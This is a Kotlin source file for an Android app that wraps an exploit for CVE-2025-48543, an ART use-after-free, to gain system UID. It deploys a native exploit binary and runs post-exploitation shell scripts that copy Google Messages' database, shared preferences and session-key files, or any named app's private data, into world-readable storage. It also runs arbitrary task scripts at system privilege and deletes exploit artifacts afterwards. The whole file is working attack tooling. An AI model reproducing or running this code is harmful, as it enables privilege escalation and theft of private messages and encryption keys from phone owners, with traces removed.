package com.darkhal.archon.messaging

import android.content.Context
import android.os.Build
import android.os.Environment
import android.util.Log
import com.darkhal.archon.util.PrivilegeManager
import java.io.File
import java.io.FileOutputStream

/**
 * CVE-2025-48543 exploit manager — ART runtime UAF → system UID.
 *
 * Works on Android 13-16 with security patch < 2025-09-05.
 * Achieves system_server UID (1000) which can read any app's /data/data/
 * directory — enough to extract bugle_db + encryption keys from Google Messages.
 *
 * ARCHITECTURE:
 *   1. Check if device is vulnerable (SDK + patch level)
 *   2. Extract the native exploit binary from app assets to private dir
 *   3. Write a post-exploitation shell script (what to do after getting system UID)
 *   4. Execute the exploit binary which:
 *      a. Triggers ART runtime UAF
 *      b. Achieves system_server code execution
 *      c. Runs the post-exploitation script at system privilege
 *   5. Collect results and clean up
 *
 * The native binary must be placed in assets/exploits/cve_2025_48543_arm64
 * Built from: https://github.com/gamesarchive/CVE-2025-48543
 *
 * LOCKED BOOTLOADER COMPATIBLE — no root or bootloader unlock needed.
 */
class ExploitManager(private val context: Context) {

    companion object {
        private const val TAG = "ExploitManager"
        private const val EXPLOIT_ASSET = "exploits/cve_2025_48543_arm64"
        private const val EXPLOIT_FILENAME = "art_uaf"
        private const val GMSG_PKG = "com.google.android.apps.messaging"
        private const val GMSG_DATA = "/data/data/$GMSG_PKG"
    }

    data class VulnCheck(
        val vulnerable: Boolean,
        val sdk: Int,
        val patchLevel: String,
        val reason: String
    )

    data class ExploitResult(
        val success: Boolean,
        val method: String,
        val uidAchieved: String? = null,
        val extractedFiles: List<String> = emptyList(),
        val outputDir: String? = null,
        val error: String? = null,
        val details: List<String> = emptyList()
    )

    private val workDir = File(context.filesDir, "exploit_work")
    private val outputDir = File(
        Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS),
        "autarch_extract"
    )

    init {
        workDir.mkdirs()
        outputDir.mkdirs()
    }

    // ── Vulnerability Check ─────────────────────────────────────────

    /**
     * Check if device is vulnerable to CVE-2025-48543.
     */
    fun checkVulnerability(): VulnCheck {
        val sdk = Build.VERSION.SDK_INT
        val patch = Build.VERSION.SECURITY_PATCH

        if (sdk < Build.VERSION_CODES.TIRAMISU) {  // < Android 13
            return VulnCheck(false, sdk, patch, "SDK $sdk not affected (need >= 33)")
        }

        if (patch >= "2025-09-05") {
            return VulnCheck(false, sdk, patch, "Patch $patch is not vulnerable (need < 2025-09-05)")
        }

        return VulnCheck(true, sdk, patch,
            "VULNERABLE — Android SDK $sdk, patch $patch (< 2025-09-05)")
    }

    /**
     * Check if the native exploit binary is available.
     */
    fun hasExploitBinary(): Boolean {
        // Check in app assets first
        return try {
            context.assets.open(EXPLOIT_ASSET).close()
            true
        } catch (e: Exception) {
            // Check if it was pushed to our files dir
            File(workDir, EXPLOIT_FILENAME).exists()
        }
    }

    // ── Exploit Execution ───────────────────────────────────────────

    /**
     * Extract the RCS database using CVE-2025-48543.
     *
     * Full pipeline: check vuln → deploy exploit → write extraction script →
     * execute exploit → collect results → cleanup.
     */
    fun extractRcsDatabase(): ExploitResult {
        val check = checkVulnerability()
        if (!check.vulnerable) {
            return ExploitResult(false, "CVE-2025-48543", error = check.reason)
        }

        // Prepare the post-exploitation script
        val scriptFile = File(workDir, "post_exploit.sh")
        writeExtractionScript(scriptFile)

        // Deploy the native exploit binary
        val exploitBin = deployExploitBinary()
            ?: return ExploitResult(false, "CVE-2025-48543",
                error = "Exploit binary not found. Push it via ADB:\n" +
                        "  adb push cve_2025_48543_arm64 ${workDir.absolutePath}/$EXPLOIT_FILENAME\n" +
                        "Or place in app assets at: $EXPLOIT_ASSET",
                details = listOf(
                    "Build from: https://github.com/gamesarchive/CVE-2025-48543",
                    "Compile for ARM64: ndk-build or cmake with -DANDROID_ABI=arm64-v8a",
                    "Push binary: adb push exploit ${workDir.absolutePath}/$EXPLOIT_FILENAME"
                ))

        // Execute the exploit
        return executeExploit(exploitBin, scriptFile)
    }

    /**
     * Execute the exploit with a custom task script.
     */
    fun executeCustomTask(taskScript: String): ExploitResult {
        val check = checkVulnerability()
        if (!check.vulnerable) {
            return ExploitResult(false, "CVE-2025-48543", error = check.reason)
        }

        val scriptFile = File(workDir, "custom_task.sh")
        scriptFile.writeText(taskScript)
        scriptFile.setExecutable(true)

        val exploitBin = deployExploitBinary()
            ?: return ExploitResult(false, "CVE-2025-48543", error = "Exploit binary not available")

        return executeExploit(exploitBin, scriptFile)
    }

    /**
     * Extract any app's data directory via system UID.
     */
    fun extractAppData(packageName: String): ExploitResult {
        val targetDir = "/data/data/$packageName"
        val outSubDir = File(outputDir, packageName)
        outSubDir.mkdirs()

        val script = """
            #!/system/bin/sh
            mkdir -p ${outSubDir.absolutePath}
            cp -r $targetDir/* ${outSubDir.absolutePath}/ 2>/dev/null
            chmod -R 644 ${outSubDir.absolutePath}/ 2>/dev/null
            echo "EXTRACTED $packageName $(date)" > ${outSubDir.absolutePath}/.success
        """.trimIndent()

        return executeCustomTask(script)
    }

    // ── Private Implementation ──────────────────────────────────────

    /**
     * Write the RCS extraction post-exploit script.
     * This runs at system UID (1000) after the exploit succeeds.
     */
    private fun writeExtractionScript(scriptFile: File) {
        val outPath = outputDir.absolutePath
        val script = """
            #!/system/bin/sh
            # Post-exploitation script — runs at system UID (1000)
            # Extracts Google Messages bugle_db + encryption key material

            OUT="$outPath"
            GMSG="$GMSG_DATA"

            mkdir -p "${'$'}OUT/databases" "${'$'}OUT/shared_prefs" "${'$'}OUT/files"

            # Copy encrypted database + WAL (recent messages may be in WAL only)
            cp "${'$'}GMSG/databases/bugle_db" "${'$'}OUT/databases/" 2>/dev/null
            cp "${'$'}GMSG/databases/bugle_db-wal" "${'$'}OUT/databases/" 2>/dev/null
            cp "${'$'}GMSG/databases/bugle_db-shm" "${'$'}OUT/databases/" 2>/dev/null
            cp "${'$'}GMSG/databases/bugle_db-journal" "${'$'}OUT/databases/" 2>/dev/null

            # Copy ALL shared_prefs (encryption key material, RCS config, etc.)
            cp -r "${'$'}GMSG/shared_prefs/"* "${'$'}OUT/shared_prefs/" 2>/dev/null

            # Copy files directory (Signal Protocol state, session keys, identity)
            cp -r "${'$'}GMSG/files/"* "${'$'}OUT/files/" 2>/dev/null

            # Copy any other databases that might exist
            for db in "${'$'}GMSG/databases/"*; do
                fname=${'$'}(basename "${'$'}db")
                cp "${'$'}db" "${'$'}OUT/databases/${'$'}fname" 2>/dev/null
            done

            # Make everything world-readable for ADB pull
            chmod -R 644 "${'$'}OUT/" 2>/dev/null
            find "${'$'}OUT" -type d -exec chmod 755 {} \; 2>/dev/null

            # Capture device info for context
            echo "device=$(getprop ro.product.model)" > "${'$'}OUT/.device_info"
            echo "android=$(getprop ro.build.version.release)" >> "${'$'}OUT/.device_info"
            echo "sdk=$(getprop ro.build.version.sdk)" >> "${'$'}OUT/.device_info"
            echo "patch=$(getprop ro.build.version.security_patch)" >> "${'$'}OUT/.device_info"
            echo "extracted=$(date '+%Y-%m-%d %H:%M:%S')" >> "${'$'}OUT/.device_info"
            echo "uid=$(id)" >> "${'$'}OUT/.device_info"

            # Success marker
            echo "EXTRACTED $(date)" > "${'$'}OUT/.success"
        """.trimIndent()

        scriptFile.writeText(script)
        scriptFile.setExecutable(true)
        Log.d(TAG, "Extraction script written to ${scriptFile.absolutePath}")
    }

    /**
     * Deploy the native exploit binary from assets or files dir.
     */
    private fun deployExploitBinary(): File? {
        val targetBin = File(workDir, EXPLOIT_FILENAME)

        // If already deployed and executable, use it
        if (targetBin.exists() && targetBin.canExecute()) {
            Log.d(TAG, "Exploit binary already deployed at ${targetBin.absolutePath}")
            return targetBin
        }

        // Try to extract from assets
        try {
            context.assets.open(EXPLOIT_ASSET).use { input ->
                FileOutputStream(targetBin).use { output ->
                    input.copyTo(output)
                }
            }
            targetBin.setExecutable(true, false)
            Log.i(TAG, "Exploit binary extracted from assets to ${targetBin.absolutePath}")
            return targetBin
        } catch (e: Exception) {
            Log.w(TAG, "Exploit binary not in assets: ${e.message}")
        }

        // Check if it was pushed via ADB to our files dir
        if (targetBin.exists()) {
            targetBin.setExecutable(true, false)
            return targetBin
        }

        // Check /data/local/tmp/ (ADB push default)
        val adbPushed = File("/data/local/tmp/$EXPLOIT_FILENAME")
        if (adbPushed.exists()) {
            adbPushed.copyTo(targetBin, overwrite = true)
            targetBin.setExecutable(true, false)
            Log.i(TAG, "Exploit binary copied from /data/local/tmp/")
            return targetBin
        }

        Log.e(TAG, "No exploit binary found")
        return null
    }

    /**
     * Execute the exploit binary with the post-exploitation script.
     *
     * The exploit binary takes two arguments:
     *   arg1: path to shell script to execute at system UID
     *   arg2: path to write status/output
     *
     * It triggers the ART UAF, gains system_server context, then
     * fork+exec's /system/bin/sh with the provided script.
     */
    private fun executeExploit(exploitBin: File, scriptFile: File): ExploitResult {
        val statusFile = File(workDir, "exploit_status")
        statusFile.delete()

        val details = mutableListOf<String>()
        details.add("Exploit: ${exploitBin.absolutePath}")
        details.add("Script: ${scriptFile.absolutePath}")
        details.add("Output: ${outputDir.absolutePath}")

        try {
            // Method 1: Direct execution (works if we have exec permission)
            val process = ProcessBuilder(
                exploitBin.absolutePath,
                scriptFile.absolutePath,
                statusFile.absolutePath
            )
                .directory(workDir)
                .redirectErrorStream(true)
                .start()

            // Read output with timeout
            val output = StringBuilder()
            val reader = process.inputStream.bufferedReader()
            val startTime = System.currentTimeMillis()
            val timeoutMs = 30_000L

            while (System.currentTimeMillis() - startTime < timeoutMs) {
                if (reader.ready()) {
                    val line = reader.readLine() ?: break
                    output.appendLine(line)
                    Log.d(TAG, "Exploit: $line")
                } else if (!process.isAlive) {
                    // Read remaining
                    output.append(reader.readText())
                    break
                } else {
                    Thread.sleep(100)
                }
            }

            val exitCode = try {
                process.waitFor()
                process.exitValue()
            } catch (e: Exception) {
                process.destroyForcibly()
                -1
            }

            details.add("Exit code: $exitCode")
            details.add("Output: ${output.toString().take(500)}")

            // Check for success
            val successMarker = File(outputDir, ".success")
            if (successMarker.exists()) {
                val extractedFiles = collectExtractedFiles()
                return ExploitResult(
                    success = true,
                    method = "CVE-2025-48543",
                    uidAchieved = "system (1000)",
                    extractedFiles = extractedFiles,
                    outputDir = outputDir.absolutePath,
                    details = details + listOf(
                        "Success marker: ${successMarker.readText().trim()}",
                        "Extracted files: ${extractedFiles.size}",
                        "Pull via ADB: adb pull ${outputDir.absolutePath}/ ./extracted_rcs/"
                    )
                )
            }

            // If direct exec failed, try via PrivilegeManager (Shizuku/shell)
            details.add("Direct exec didn't produce results, trying PrivilegeManager...")
            return executeViaShell(exploitBin, scriptFile, details)

        } catch (e: Exception) {
            Log.e(TAG, "Exploit execution failed", e)
            details.add("Exception: ${e.message}")

            // Fallback to PrivilegeManager
            return executeViaShell(exploitBin, scriptFile, details)
        }
    }

    /**
     * Execute the exploit via PrivilegeManager (Shizuku/ADB shell).
     * This gives us UID 2000 to launch the exploit, which then escalates to system.
     */
    private fun executeViaShell(
        exploitBin: File,
        scriptFile: File,
        details: MutableList<String>
    ): ExploitResult {
        try {
            // Copy exploit to a shell-accessible location
            val shellBin = "/data/local/tmp/${EXPLOIT_FILENAME}_$$"
            val shellScript = "/data/local/tmp/post_exploit_$$.sh"

            val cpBin = PrivilegeManager.execute(
                "cp ${exploitBin.absolutePath} $shellBin && chmod 755 $shellBin"
            )
            val cpScript = PrivilegeManager.execute(
                "cp ${scriptFile.absolutePath} $shellScript && chmod 755 $shellScript"
            )

            if (cpBin.exitCode != 0) {
                // Try pushing from the app's internal storage directly
                PrivilegeManager.execute(
                    "cat ${exploitBin.absolutePath} > $shellBin && chmod 755 $shellBin"
                )
            }
            if (cpScript.exitCode != 0) {
                PrivilegeManager.execute(
                    "cat ${scriptFile.absolutePath} > $shellScript && chmod 755 $shellScript"
                )
            }

            details.add("Shell binary: $shellBin")
            details.add("Shell script: $shellScript")

            // Execute the exploit from shell context
            val result = PrivilegeManager.execute(
                "$shellBin $shellScript /data/local/tmp/exploit_status_$$"
            )

            details.add("Shell exit: ${result.exitCode}")
            details.add("Shell stdout: ${result.stdout.take(300)}")
            if (result.stderr.isNotBlank()) {
                details.add("Shell stderr: ${result.stderr.take(200)}")
            }

            // Cleanup shell temps
            PrivilegeManager.execute("rm -f $shellBin $shellScript /data/local/tmp/exploit_status_$$")

            // Check for success
            val successMarker = File(outputDir, ".success")
            if (successMarker.exists()) {
                val extractedFiles = collectExtractedFiles()
                return ExploitResult(
                    success = true,
                    method = "CVE-2025-48543 (via shell)",
                    uidAchieved = "system (1000)",
                    extractedFiles = extractedFiles,
                    outputDir = outputDir.absolutePath,
                    details = details
                )
            }

            return ExploitResult(
                success = false,
                method = "CVE-2025-48543",
                error = "Exploit executed but did not produce success marker. " +
                        "The binary may need to be rebuilt for this device's kernel/ART version.",
                details = details
            )

        } catch (e: Exception) {
            Log.e(TAG, "Shell exploit execution failed", e)
            return ExploitResult(
                success = false,
                method = "CVE-2025-48543",
                error = "Shell execution failed: ${e.message}",
                details = details
            )
        }
    }

    /**
     * Collect list of extracted files from output directory.
     */
    private fun collectExtractedFiles(): List<String> {
        val files = mutableListOf<String>()
        outputDir.walkTopDown().forEach { file ->
            if (file.isFile && file.name != ".success" && file.name != ".device_info") {
                files.add(file.relativeTo(outputDir).path)
            }
        }
        return files
    }

    /**
     * Clean up all exploit artifacts from the device.
     */
    fun cleanup(): List<String> {
        val cleaned = mutableListOf<String>()

        // Remove work directory
        if (workDir.exists()) {
            workDir.deleteRecursively()
            cleaned.add("Removed work dir: ${workDir.absolutePath}")
        }

        // Remove extracted data
        if (outputDir.exists()) {
            outputDir.deleteRecursively()
            cleaned.add("Removed output dir: ${outputDir.absolutePath}")
        }

        // Remove anything in /data/local/tmp/
        try {
            PrivilegeManager.execute("rm -f /data/local/tmp/art_uaf* /data/local/tmp/post_exploit* /data/local/tmp/exploit_status*")
            cleaned.add("Cleaned /data/local/tmp/ exploit artifacts")
        } catch (e: Exception) {
            cleaned.add("Could not clean /data/local/tmp/: ${e.message}")
        }

        return cleaned
    }

    /**
     * Get a summary of what's been extracted (if anything).
     */
    fun getExtractionStatus(): Map<String, Any> {
        val status = mutableMapOf<String, Any>()

        val successMarker = File(outputDir, ".success")
        status["extracted"] = successMarker.exists()

        if (successMarker.exists()) {
            status["marker"] = successMarker.readText().trim()

            val deviceInfo = File(outputDir, ".device_info")
            if (deviceInfo.exists()) {
                status["device_info"] = deviceInfo.readText().trim()
            }

            status["files"] = collectExtractedFiles()
            status["output_dir"] = outputDir.absolutePath

            // Check for bugle_db specifically
            val bugleDb = File(outputDir, "databases/bugle_db")
            status["has_bugle_db"] = bugleDb.exists()
            if (bugleDb.exists()) {
                status["bugle_db_size"] = bugleDb.length()
            }

            val sharedPrefs = File(outputDir, "shared_prefs")
            if (sharedPrefs.exists()) {
                status["shared_prefs_count"] = sharedPrefs.listFiles()?.size ?: 0
            }
        }

        return status
    }
}
